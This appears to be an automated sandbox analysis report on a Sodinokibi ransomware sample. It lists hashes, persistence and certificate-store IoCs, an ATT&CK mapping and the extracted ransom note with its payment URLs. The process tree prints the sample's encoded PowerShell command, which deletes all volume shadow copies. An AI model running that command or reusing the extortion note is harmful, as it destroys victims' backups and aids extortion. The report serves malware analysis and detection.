sodinokibi | 6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20

Analysis

max time kernel
137s
max time network
145s
platform
windows10-2004_x64
resource
win10v2004-20240419-en
resource tags

arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
submitted
05/05/2024, 09:21

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General

Target

1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
Size

165KB
MD5

1701c19d9610ee4be543815bff908281
SHA1

44821ddb87e0260ee8ba368e08c75b0ad3232923
SHA256

6af766a07ccc641da303ab30936ed32ad32bb4d7c983f3df45c4c52c036e9d20
SHA512

6794cb5b710b5165dfb59a6dcecff7776dce69b452b82e51dd9d35ec951e15febe9d71ceedc7ea91845b0d6e8c4214e7c07935dd2c8dd6f5c372e35971eed5ae
SSDEEP

3072:eCEq0R0nZ5ys5n4Y9doh7O79siUs/NabPos:lw02sJPi7O93N9s

Score

10^/10

sodinokibi persistence ransomware

Malware Config

Extracted

Path

C:\Users\vlk6s-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on you computer has expansion vlk6s. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/966559B32AFAB1AF 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.top/966559B32AFAB1AF Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: yiUfm3EhvIJhfm2pEh25r15OFvz8da9K000Mk9bynm684HUjHQQkz1YMceQuIVjl awx/wdliQo5JvekVqZca7/9hMlzqdfbgDbMs+x50kpcvLY5gJ879F5hcmg3zu8b5 7totMSKNzfjXUwBh52UtzWLBMpvA/9FyRhy5Lyfy1k0sdBXvtmZZptQtQYEvQ6LJ bB2sQu2rSYhADKIAgCXROJ9Alz+XOCTZNzooUSEwO1wxHnj/ImDww8kXg4VqvXQm 7OAsyqkr0zYhuSgh3/9Sp9DBAS1u/I4qcDhGJ9ZJjNsWXrOVdprqgBSx/Zniax7M mKjEolzC1YGotz1G/qmrPyaVdGRXjccfh1GH9K3zd/QRr/jYcvhGF80xde0DqvPL HFZ7L4/rkAh+lmbmmwdAKVCsWlzmaiM9b/jPGBMd3/egtJu5Kwav65OWAFGGL+ao 0l2KCJYNcoeK9g7iwZ3vrL6/c60g7+LltibHudqKPugX/vPclvJ3lLXc5r7TnW06 Rny4UEjSPZrrnYNcsoTWKRfovvVD7XUeUGJPLlHsQOdicRgXKiZwlhV8ABm9L67r viyl6eslKsSCALmqpMCylkwj7YluqCnhS38WXzHMHtYztTG0PRpTbLHgs+WVOLgj 0pZAfGwBo76cGzObwBk/fURNh5cuiscwDKhfAYd3CkTD0QqS+68HWYoDcp7AiMkQ YTlPDdacV96LD0h0/nlkiS1Vope57VQgUrVOVaDIA36Q4KAr53Dt4rK7F2IlY2A3 iY+XrH6KxM7ZMDf3kXPFLsBP8UCGWNaW+JYIJFFN29GgEiN5SgLIvVEAWsKcZuMY SaAF8riWvf6eD441bsrtinm2T7XdrrQlXrh1oLjtnO/PzKYxOZmGRCsRudS+nJTW +/KYjNpHt2dTmSfJgOy1Xj/riIeIUpmXo/2ZYRcCOgYREjqZSuRelf1ykbbcg3Jm ELHWHa4ZBWlYp0GyiKhDxRZncAEamQfDfQp7466HoSFhNWKLB1gV57K3qsuL3K57 BqXsm1plEFc0fq7O4q38jKoU/ce4rL2DTPRXA6gPjfC0TLZ+Dd9WzzVlyctDXG6M vYIVM0ir+ZQJsc2pHHWMwzbGyNGzBOXOsowVU2BG6KREVMIuP754SeaZaGnskrY9 j7vEvE2FRaS7F9dPzNBZREUBlaiEb6Jr96Qj9YC76ionB7wiW8u2alde9KaZgyeE rx0Gbeh/wv8FfnjJ Extension name: vlk6s ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/966559B32AFAB1AF

http://decryptor.top/966559B32AFAB1AF

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\L2mKLMcNmB = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1701c19d9610ee4be543815bff908281_JaffaCakes118.exe"	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\K:	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File opened (read-only)	\??\R:	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File opened (read-only)	\??\S:	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File opened (read-only)	\??\Z:	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File opened (read-only)	\??\A:	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File opened (read-only)	\??\E:	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File opened (read-only)	\??\G:	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File opened (read-only)	\??\N:	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File opened (read-only)	\??\V:	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File opened (read-only)	\??\X:	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File opened (read-only)	\??\L:	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File opened (read-only)	\??\U:	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File opened (read-only)	\??\H:	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File opened (read-only)	\??\J:	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File opened (read-only)	\??\O:	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File opened (read-only)	\??\P:	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File opened (read-only)	\??\Q:	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File opened (read-only)	\??\M:	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File opened (read-only)	\??\Y:	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File opened (read-only)	\??\F:	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File opened (read-only)	\??\I:	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File opened (read-only)	\??\D:	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File opened (read-only)	\??\T:	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File opened (read-only)	\??\B:	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File opened (read-only)	\??\W:	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2860750803-256193626-1801997576-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\603.bmp"	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe

Drops file in Program Files directory 41 IoCs

description	ioc	Process
File opened for modification	\??\c:\program files\ProtectShow.3gpp	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File opened for modification	\??\c:\program files\UpdateEnable.wvx	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File created	\??\c:\program files\vlk6s-readme.txt	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File opened for modification	\??\c:\program files\CompressUpdate.mp3	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File opened for modification	\??\c:\program files\CopyPop.jpg	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File opened for modification	\??\c:\program files\LimitResize.xltm	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File opened for modification	\??\c:\program files\RevokeRequest.ttc	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File opened for modification	\??\c:\program files\SelectClear.ADT	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File opened for modification	\??\c:\program files\AssertSubmit.mp4v	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ExpandProtect.potx	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File opened for modification	\??\c:\program files\MergeExit.TTS	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File opened for modification	\??\c:\program files\RequestCheckpoint.odp	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File opened for modification	\??\c:\program files\UnblockStep.emf	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File opened for modification	\??\c:\program files\DisableWatch.mov	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File opened for modification	\??\c:\program files\RenameEdit.rar	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ResumeClear.htm	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File opened for modification	\??\c:\program files\CheckpointPing.mov	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ConvertToSend.rmi	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File opened for modification	\??\c:\program files\DisableExit.i64	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File opened for modification	\??\c:\program files\StopSet.js	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File opened for modification	\??\c:\program files\BlockWrite.search-ms	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File opened for modification	\??\c:\program files\DenyExpand.cr2	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File opened for modification	\??\c:\program files\MoveTrace.tif	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File opened for modification	\??\c:\program files\UnregisterWatch.mht	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File opened for modification	\??\c:\program files\PopShow.xlt	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File opened for modification	\??\c:\program files\UnprotectPing.potx	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File opened for modification	\??\c:\program files\BlockSearch.reg	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File opened for modification	\??\c:\program files\CompareResize.mpeg3	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ConvertFromRedo.ex_	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File opened for modification	\??\c:\program files\GrantStep.mpg	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File opened for modification	\??\c:\program files\LockUndo.dotx	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File opened for modification	\??\c:\program files\MoveSuspend.asf	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File opened for modification	\??\c:\program files\UnregisterMeasure.mp3	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File opened for modification	\??\c:\program files\WatchAdd.png	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File opened for modification	\??\c:\program files\WriteMeasure.ogg	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File created	\??\c:\program files (x86)\vlk6s-readme.txt	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ClearSuspend.i64	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ConvertToAdd.zip	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ImportGrant.wax	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File opened for modification	\??\c:\program files\LimitReceive.AAC	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
File opened for modification	\??\c:\program files\RevokeLimit.mp4	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe

Modifies system certificate store 2 TTPs 5 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-2860750803-256193626-1801997576-1000\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\33E4E80807204C2B6182A3A14B591ACD25B5F0DB\Blob = 03000000010000001400000033e4e80807204c2b6182a3a14b591acd25b5f0db1400000001000000140000008d8c5ec454ad8ae177e99bf99b05e1b8018d61e1040000000100000010000000adab5c4df031fb9299f71ada7e18f6130f00000001000000300000008b612b2190a95b28b866b9be5d0b95f368c17534ab1da61a42dfb32766f9ae2908fe6bfd1669be140eddaf0d33e95235190000000100000010000000fc741b3b78cfb31e075744fe5d0eeb965c000000010000000400000000080000180000000100000010000000ea6089055218053dd01e37e1d806eedf20000000010000001706000030820613308203fba00302010202107d5b5126b476ba11db74160bbc530da7300d06092a864886f70d01010c0500308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f72697479301e170d3138313130323030303030305a170d3330313233313233353935395a30818f310b3009060355040613024742311b30190603550408131247726561746572204d616e636865737465723110300e0603550407130753616c666f726431183016060355040a130f5365637469676f204c696d69746564313730350603550403132e5365637469676f2052534120446f6d61696e2056616c69646174696f6e205365637572652053657276657220434130820122300d06092a864886f70d01010105000382010f003082010a0282010100d67333d6d73c20d000d21745b8d63e07a23fc741ee3230c9b06cfdf49fcb12980f2d3f8d4d010c820f177f622ee9b84879fb16834eadd7322593b707bfb9503fa94cc3402ae939ffd981ca1f163241da8026b9237a87201ee3ff209a3c95446f8775069040b4329316091008233ed2dd870f6f5d51146a0a69c54f017269cfd3934c6d04a0a31b827eb19ab9edc59ec537789f9a0834fb562e58c4090e06645bbc37dcf19f2868a856b092a35c9fbb8898081b241dab3085aeafb02e9e7a9dc1c0421ce202f0eae04ad2ef900eb4c14016f06f85424a64f7a430a0febf2ea3275a8e8b58b8adc319178463ed6f56fd83cb6034c474bee69ddbe1e4e5ca0c5f150203010001a382016e3082016a301f0603551d230418301680145379bf5aaa2b4acf5480e1d89bc09df2b20366cb301d0603551d0e041604148d8c5ec454ad8ae177e99bf99b05e1b8018d61e1300e0603551d0f0101ff04040302018630120603551d130101ff040830060101ff020100301d0603551d250416301406082b0601050507030106082b06010505070302301b0603551d200414301230060604551d20003008060667810c01020130500603551d1f044930473045a043a041863f687474703a2f2f63726c2e7573657274727573742e636f6d2f55534552547275737452534143657274696669636174696f6e417574686f726974792e63726c307606082b06010505070101046a3068303f06082b060105050730028633687474703a2f2f6372742e7573657274727573742e636f6d2f555345525472757374525341416464547275737443412e637274302506082b060105050730018619687474703a2f2f6f6373702e7573657274727573742e636f6d300d06092a864886f70d01010c0500038202010032bf61bd0e48c34fc7ba474df89c781901dc131d806ffcc370b4529a31339a5752fb319e6ba4ef54aa898d401768f811107cd2cab1f15586c7eeb3369186f63951bf46bf0fa0bab4f77e49c42a36179ee468397aaf944e566fb27b3bbf0a86bdcdc5771c03b838b1a21f5f7edb8adc4648b6680acfb2b5b4e234e467a93866095ed2b8fc9d283a174027c2724e29fd213c7ccf13fb962cc53144fd13edd59ba96968777ceee1ffa4f93638085339a284349c19f3be0eacd52437eb23a878d0d3e7ef924764623922efc6f711be2285c6664424268e10328dc893ae079e833e2fd9f9f5468e63bec1e6b4dca6cd21a8860a95d92e85261afdfcb1b657426d95d133f6391406824138f58f58dc805ba4d57d9578fda79bfffdc5a869ab26e7a7a405875ba9b7b8a3200b97a94585ddb38be589378e290dfc0617f638400e42e41206fb7bf3c6116862dfe398f413d8154f8bb169d91060bc642aea31b7e4b5a33a149b26e30b7bfd028eb699c138975936f6a874a286b65eebc664eacfa0a3f96e9eba2d11b6869808582dc9ac2564f25e75b438c1ae7f5a4683ea51cab6f19911356ba56a7bc600b0e7f8be64b2adc8c2f1ace351eaa493e079c8e18140c90a5be1123cc1602ae397c08942ca94cf46981269bb98d0c2d30d724b476ee593c43228638743e4b0323e0ad34bbf239b1429412b9a041f932df1c739483cad5a127f	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2B8F1B57330DBBA2D07A6C51F70EE90DDAB9AD8E	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2B8F1B57330DBBA2D07A6C51F70EE90DDAB9AD8E\Blob = 0400000001000000100000001bfe69d191b71933a372a80fe155e5b50f000000010000003000000066b764a96581128168cf208e374dda479d54e311f32457f4aee0dbd2a6c8d171d531289e1cd22bfdbbd4cfd979625483090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000e793c9b02fd8aa13e21c31228accb08119643b749c898964b1746d46c3d4cbd21400000001000000140000005379bf5aaa2b4acf5480e1d89bc09df2b20366cb1d0000000100000010000000885010358d29a38f059b028559c95f900b00000001000000100000005300650063007400690067006f0000000300000001000000140000002b8f1b57330dbba2d07a6c51f70ee90ddab9ad8e190000000100000010000000ea6089055218053dd01e37e1d806eedf2000000001000000e2050000308205de308203c6a003020102021001fd6d30fca3ca51a81bbc640e35032d300d06092a864886f70d01010c0500308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f72697479301e170d3130303230313030303030305a170d3338303131383233353935395a308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f7269747930820222300d06092a864886f70d01010105000382020f003082020a028202010080126517360ec3db08b3d0ac570d76edcd27d34cad508361e2aa204d092d6409dcce899fcc3da9ecf6cfc1dcf1d3b1d67b3728112b47da39c6bc3a19b45fa6bd7d9da36342b676f2a93b2b91f8e26fd0ec162090093ee2e874c918b491d46264db7fa306f188186a90223cbcfe13f087147bf6e41f8ed4e451c61167460851cb8614543fbc33fe7e6c9cff169d18bd518e35a6a766c87267db2166b1d49b7803c0503ae8ccf0dcbc9e4cfeaf0596351f575ab7ffcef93db72cb6f654ddc8e7123a4dae4c8ab75c9ab4b7203dca7f2234ae7e3b68660144e7014e46539b3360f794be5337907343f332c353efdbaafe744e69c76b8c6093dec4c70cdfe132aecc933b517895678bee3d56fe0cd0690f1b0ff325266b336df76e47fa7343e57e0ea566b1297c3284635589c40dc19354301913acd37d37a7eb5d3a6c355cdb41d712daa9490bdfd8808a0993628eb566cf2588cd84b8b13fa4390fd9029eeb124c957cf36b05a95e1683ccb867e2e8139dcc5b82d34cb3ed5bffdee573ac233b2d00bf3555740949d849581a7f9236e651920ef3267d1c4d17bcc9ec4326d0bf415f40a94444f499e757879e501f5754a83efd74632fb1506509e658422e431a4cb4f0254759fa041e93d426464a5081b2debe78b7fc6715e1c957841e0f63d6e962bad65f552eea5cc62808042539b80e2ba9f24c971c073f0d52f5edef2f820f0203010001a3423040301d0603551d0e041604145379bf5aaa2b4acf5480e1d89bc09df2b20366cb300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff300d06092a864886f70d01010c050003820201005cd47c0dcff7017d4199650c73c5529fcbf8cf99067f1bda43159f9e0255579614f1523c27879428ed1f3a0137a276fc5350c0849bc66b4eba8c214fa28e556291f36915d8bc88e3c4aa0bfdefa8e94b552a06206d55782919ee5f305c4b241155ff249a6e5e2a2bee0b4d9f7ff70138941495430709fb60a9ee1cab128ca09a5ea7986a596d8b3f08fbc8d145af18156490120f73282ec5e2244efc58ecf0f445fe22b3eb2f8ed2d9456105c1976fa876728f8b8c36afbf0d05ce718de6a66f1f6ca67162c5d8d083720cf16711890c9c134c7234dfbcd571dfaa71dde1b96c8c3c125d65dabd5712b6436bffe5de4d661151cf99aeec17b6e871918cde49fedd3571a21527941ccf61e326bb6fa36725215de6dd1d0b2e681b3b82afec836785d4985174b1b9998089ff7f78195c794a602e9240ae4c372a2cc9c762c80e5df7365bcae0252501b4dd1a079c77003fd0dcd5ec3dd4fabb3fcc85d66f7fa92ddfb902f7f5979ab535dac367b0874aa9289e238eff5c276be1b04ff307ee002ed45987cb524195eaf447d7ee6441557c8d590295dd629dc2b9ee5a287484a59bb790c70c07dff589367432d628c1b0b00be09c4cc31cd6fce369b54746812fa282abd3634470c48dff2d33baad8f7bb57088ae3e19cf4028d8fcc890bb5d9922f552e658c51f883143ee881dd7c68e3c436a1da718de7d3d16f162f9ca90a8fd	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2B8F1B57330DBBA2D07A6C51F70EE90DDAB9AD8E\Blob = 5c000000010000000400000000100000190000000100000010000000ea6089055218053dd01e37e1d806eedf0300000001000000140000002b8f1b57330dbba2d07a6c51f70ee90ddab9ad8e0b00000001000000100000005300650063007400690067006f0000001d0000000100000010000000885010358d29a38f059b028559c95f901400000001000000140000005379bf5aaa2b4acf5480e1d89bc09df2b20366cb620000000100000020000000e793c9b02fd8aa13e21c31228accb08119643b749c898964b1746d46c3d4cbd253000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f000000010000003000000066b764a96581128168cf208e374dda479d54e311f32457f4aee0dbd2a6c8d171d531289e1cd22bfdbbd4cfd9796254830400000001000000100000001bfe69d191b71933a372a80fe155e5b52000000001000000e2050000308205de308203c6a003020102021001fd6d30fca3ca51a81bbc640e35032d300d06092a864886f70d01010c0500308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f72697479301e170d3130303230313030303030305a170d3338303131383233353935395a308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f7269747930820222300d06092a864886f70d01010105000382020f003082020a028202010080126517360ec3db08b3d0ac570d76edcd27d34cad508361e2aa204d092d6409dcce899fcc3da9ecf6cfc1dcf1d3b1d67b3728112b47da39c6bc3a19b45fa6bd7d9da36342b676f2a93b2b91f8e26fd0ec162090093ee2e874c918b491d46264db7fa306f188186a90223cbcfe13f087147bf6e41f8ed4e451c61167460851cb8614543fbc33fe7e6c9cff169d18bd518e35a6a766c87267db2166b1d49b7803c0503ae8ccf0dcbc9e4cfeaf0596351f575ab7ffcef93db72cb6f654ddc8e7123a4dae4c8ab75c9ab4b7203dca7f2234ae7e3b68660144e7014e46539b3360f794be5337907343f332c353efdbaafe744e69c76b8c6093dec4c70cdfe132aecc933b517895678bee3d56fe0cd0690f1b0ff325266b336df76e47fa7343e57e0ea566b1297c3284635589c40dc19354301913acd37d37a7eb5d3a6c355cdb41d712daa9490bdfd8808a0993628eb566cf2588cd84b8b13fa4390fd9029eeb124c957cf36b05a95e1683ccb867e2e8139dcc5b82d34cb3ed5bffdee573ac233b2d00bf3555740949d849581a7f9236e651920ef3267d1c4d17bcc9ec4326d0bf415f40a94444f499e757879e501f5754a83efd74632fb1506509e658422e431a4cb4f0254759fa041e93d426464a5081b2debe78b7fc6715e1c957841e0f63d6e962bad65f552eea5cc62808042539b80e2ba9f24c971c073f0d52f5edef2f820f0203010001a3423040301d0603551d0e041604145379bf5aaa2b4acf5480e1d89bc09df2b20366cb300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff300d06092a864886f70d01010c050003820201005cd47c0dcff7017d4199650c73c5529fcbf8cf99067f1bda43159f9e0255579614f1523c27879428ed1f3a0137a276fc5350c0849bc66b4eba8c214fa28e556291f36915d8bc88e3c4aa0bfdefa8e94b552a06206d55782919ee5f305c4b241155ff249a6e5e2a2bee0b4d9f7ff70138941495430709fb60a9ee1cab128ca09a5ea7986a596d8b3f08fbc8d145af18156490120f73282ec5e2244efc58ecf0f445fe22b3eb2f8ed2d9456105c1976fa876728f8b8c36afbf0d05ce718de6a66f1f6ca67162c5d8d083720cf16711890c9c134c7234dfbcd571dfaa71dde1b96c8c3c125d65dabd5712b6436bffe5de4d661151cf99aeec17b6e871918cde49fedd3571a21527941ccf61e326bb6fa36725215de6dd1d0b2e681b3b82afec836785d4985174b1b9998089ff7f78195c794a602e9240ae4c372a2cc9c762c80e5df7365bcae0252501b4dd1a079c77003fd0dcd5ec3dd4fabb3fcc85d66f7fa92ddfb902f7f5979ab535dac367b0874aa9289e238eff5c276be1b04ff307ee002ed45987cb524195eaf447d7ee6441557c8d590295dd629dc2b9ee5a287484a59bb790c70c07dff589367432d628c1b0b00be09c4cc31cd6fce369b54746812fa282abd3634470c48dff2d33baad8f7bb57088ae3e19cf4028d8fcc890bb5d9922f552e658c51f883143ee881dd7c68e3c436a1da718de7d3d16f162f9ca90a8fd	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
Key created	\REGISTRY\USER\S-1-5-21-2860750803-256193626-1801997576-1000\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\33E4E80807204C2B6182A3A14B591ACD25B5F0DB	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2812	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
2812	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
2508	powershell.exe
2508	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2508	powershell.exe
Token: SeBackupPrivilege	2536	vssvc.exe
Token: SeRestorePrivilege	2536	vssvc.exe
Token: SeAuditPrivilege	2536	vssvc.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2812 wrote to memory of 2508	2812	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe	91
PID 2812 wrote to memory of 2508	2812	1701c19d9610ee4be543815bff908281_JaffaCakes118.exe	91

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\1701c19d9610ee4be543815bff908281_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\1701c19d9610ee4be543815bff908281_JaffaCakes118.exe"
1⤵
- Adds Run key to start application
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2812
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2508

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3440

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2536

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_343jfxbp.lt1.ps1

Filesize
60B

MD5
